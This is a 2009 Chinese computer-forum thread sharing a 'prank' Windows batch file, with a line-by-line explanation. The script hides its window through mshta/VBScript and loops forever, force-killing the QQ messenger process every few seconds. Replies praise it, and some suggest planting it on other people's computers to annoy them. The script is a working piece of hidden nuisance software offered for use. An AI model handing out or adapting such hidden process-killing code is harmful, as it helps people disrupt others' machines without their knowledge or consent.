计算机技术论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

  • 欢迎访问 计算机技术论坛-电脑迷与初学者的家园!由于论坛管理严格,新注册会员可能遇到各种问题,无法解决的请发邮件 admin@jsjbbs.cn
查看: 20748|回复: 55

一款小恶作剧代码 详解

  [复制链接]
发表于 2009-5-31 09:45:02 | 显示全部楼层 |阅读模式
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

代码到此为止
讲解如下:
@echo off ------关闭回显
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
:begin ------------定一段名begin
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
:killit
taskkill /f /im QQ.exe----终结进程QQ.exe
:next
ping -n 3 127.t >nul 2>nul -----延迟一段时间
goto begin--------------返回执行begin

点评

批处理的用处大吗?有没有必要认真专门学习一下哈  发表于 2011-8-8 08:57

评分

2

查看全部评分

发表于 2009-5-31 10:03:52 | 显示全部楼层
还真的可以,相当于就是自动关闭QQ咯
发表于 2009-6-8 12:45:58 | 显示全部楼层
你的这段代码 好像不怎么地管用啊
我都已经试过了
不管用
发表于 2009-6-14 23:29:29 | 显示全部楼层
这个。。很好狠强大
发表于 2009-6-17 10:37:04 | 显示全部楼层
可以实现禁用QQ ,省去了好多的麻烦
发表于 2009-6-17 10:59:58 | 显示全部楼层
学习了!
发表于 2009-7-2 21:29:35 | 显示全部楼层
好坏。。。等我试试啊
发表于 2009-7-3 13:16:25 | 显示全部楼层
学习啦{:5_118:}
发表于 2009-10-17 19:34:06 | 显示全部楼层
丢进别人电脑里    呵呵
发表于 2009-10-31 17:49:48 | 显示全部楼层
很好~~捉弄别人去~~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

无图版|手机版|计算机技术论坛 JSJBBS.CN @ 2008-2024 ( 鲁ICP备17021708号 )

技术支持 : 北京康盛新创科技有限责任公司

快速回复 返回顶部 返回列表